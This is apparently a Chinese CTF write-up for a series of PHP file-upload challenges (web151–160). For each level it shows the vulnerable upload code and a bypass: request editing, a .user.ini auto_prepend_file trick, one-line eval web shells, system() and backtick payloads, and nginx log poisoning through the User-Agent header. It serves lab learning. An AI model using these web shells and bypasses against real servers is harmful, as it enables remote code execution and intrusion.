web151
最简单的文件上传,上传图片马后抓包修改后缀绕过文件名检测
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| if ($_FILES["file"]["error"] > 0) { $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]); } else { $filename = $_FILES["file"]["name"]; $filesize = ($_FILES["file"]["size"] / 1024); if($filesize>1024){ $ret = array("code"=>1,"msg"=>"文件超过1024KB"); }else{ move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]); $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]); }
}
|
web152
看题目描述没理解,大小写绕了一下但是后端没有解析,于是继续传图片马改成php然后getshell
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| if ($_FILES["file"]["error"] > 0) { $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]); } else { $filename = $_FILES["file"]["name"]; $filesize = ($_FILES["file"]["size"] / 1024); if($filesize>1024){ $ret = array("code"=>1,"msg"=>"文件超过1024KB"); }else{ if($_FILES['file']['type'] == 'image/png'){ move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]); $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]); }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }
}
echo json_encode($ret);
|
可以看到只是对文件类型也就是content-type进行了判断而已
web153
这里传图片马再改后缀返回的是:
大小写可以上传但不能解析,其他php后缀同理,这里nginx服务器考虑.user.ini
原理:指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)所以要求当前目录必须要有php文件
巧合的是这题upload目录下有个index.php,所以这种方式是可以成功的。
还有的师傅这样解释到:
user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
条件:
服务器脚本语言为PHP
对应目录下面有可执行的php文件,如index.php
服务器使用CGI/FastCGI模式
注意要先传个.user.ini配置文件
1 2 3
| auto_prepend_file=2.png or auto_append_file=2.png
|
然后,传个图片,upload下的index.php就会包含并执行它啦
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| error_reporting(0); if ($_FILES["file"]["error"] > 0) { $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]); } else { $filename = $_FILES["file"]["name"]; $filesize = ($_FILES["file"]["size"] / 1024); if($filesize>1024){ $ret = array("code"=>1,"msg"=>"文件超过1024KB"); }else{ if($_FILES['file']['type'] == 'image/png'){ $arr = pathinfo($filename); $ext_suffix = $arr['extension']; if($ext_suffix!='php'){ move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]); $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]); }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }
}
echo json_encode($ret);
|
可以看出是黑名单,对php这个后缀做了限制
web154
上传个正常图片都失败,因为我的图片马里面有敏感信息,应该是php,用以下替代
1 2 3 4 5
| <?= eval($_POST['cmd']);?> <? eval($_POST['cmd']);?> <% eval($_POST['cmd']);%>
|
还是不能解析,结合上一题上传的配置文件,就可以getshell了
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| error_reporting(0); if ($_FILES["file"]["error"] > 0) { $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]); } else { $filename = $_FILES["file"]["name"]; $filesize = ($_FILES["file"]["size"] / 1024); if($filesize>1024){ $ret = array("code"=>1,"msg"=>"文件超过1024KB"); }else{ if($_FILES['file']['type'] == 'image/png'){ $arr = pathinfo($filename); $ext_suffix = $arr['extension']; if($ext_suffix!='php'){ $content = file_get_contents($_FILES["file"]["tmp_name"]); if(strrpos($content, "php")==FALSE){ move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]); $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]); }else{ $ret = array("code"=>3,"msg"=>"文件内容不合规"); } }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }
}
echo json_encode($ret);
|
可以看到content即对文件内容进行了检测
web155
做法同上
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| error_reporting(0); if ($_FILES["file"]["error"] > 0) { $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]); } else { $filename = $_FILES["file"]["name"]; $filesize = ($_FILES["file"]["size"] / 1024); if($filesize>1024){ $ret = array("code"=>1,"msg"=>"文件超过1024KB"); }else{ if($_FILES['file']['type'] == 'image/png'){ $arr = pathinfo($filename); $ext_suffix = $arr['extension']; if($ext_suffix!='php'){ $content = file_get_contents($_FILES["file"]["tmp_name"]); if(stripos($content, "php")===FALSE){ move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]); $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]); }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }
}
echo json_encode($ret);
|
web156
继续对文件内容进行了限制
过滤了中括号,改为大括号
其他步骤同上题
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| error_reporting(0); if ($_FILES["file"]["error"] > 0) { $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]); } else { $filename = $_FILES["file"]["name"]; $filesize = ($_FILES["file"]["size"] / 1024); if($filesize>1024){ $ret = array("code"=>1,"msg"=>"文件超过1024KB"); }else{ if($_FILES['file']['type'] == 'image/png'){ $arr = pathinfo($filename); $ext_suffix = $arr['extension']; if($ext_suffix!='php'){ $content = file_get_contents($_FILES["file"]["tmp_name"]); if(stripos($content, "php")===FALSE && stripos($content,"[")===FALSE){ move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]); $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]); }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }
}
echo json_encode($ret);
|
web157
继续增加过滤的限制
1
| <?= (system('tac ../f*')) ?>
|
不用getshell,直接在图片里写tac命令把flag读出来,后面上传完配置文件后访问index.php页面就好了
web158
同上
web159
过滤了括号,使用反引号``执行命令
web160
反引号也被限制,日志文件包含
1
| <?=include"/var/lo"."g/nginx/access.lo"."g"?>
|
然后上传.user.ini的同时将user-agent改为
1
| <?php system('tac ../f*');?>
|
再去访问index.php
因为.log不像php是后端语言,所以这里include就直接显示出来了